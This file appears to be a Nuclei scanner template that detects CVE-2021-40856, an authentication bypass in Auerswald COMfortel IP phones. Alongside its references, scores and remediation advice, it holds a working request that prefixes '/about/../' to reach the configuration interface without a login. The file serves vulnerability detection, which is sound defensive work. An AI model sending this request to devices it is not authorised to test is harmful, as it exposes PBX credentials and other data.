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id : CVE-2021-40856
info :
name : Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass
author : gy741
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severity : high
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description : Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.
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remediation : |
Apply the latest firmware update provided by Auerswald to fix the authentication bypass vulnerability.
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reference :
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40856
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- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass
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- https://www.redteam-pentesting.de/en/advisories/-advisories-publicised-vulnerability-analyses
- http://packetstormsecurity.com/files/165162/Auerswald-COMfortel-1400-2600-3600-IP-2.8F-Authentication-Bypass.html
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score : 7.5
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cve-id : CVE-2021-40856
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cwe-id : CWE-706
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epss-score : 0.02537
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epss-percentile : 0.89015
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cpe : cpe:2.3:o:auerswald:comfortel_3600_ip_firmware:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : auerswald
product : comfortel_3600_ip_firmware
tags : packetstorm,cve,cve2021,comfortel,auth-bypass,auerswald
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http :
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- raw :
- |
GET /about/../tree?action=get HTTP/1.1
Host : {{Hostname}}
Accept : */*
matchers-condition : and
matchers :
- type : word
part : body
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words :
- '"TYPE"'
- '"ITEMS"'
- '"COUNT"'
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condition : and
- type : word
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part : header
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words :
- application/json
- type : status
status :
- 200
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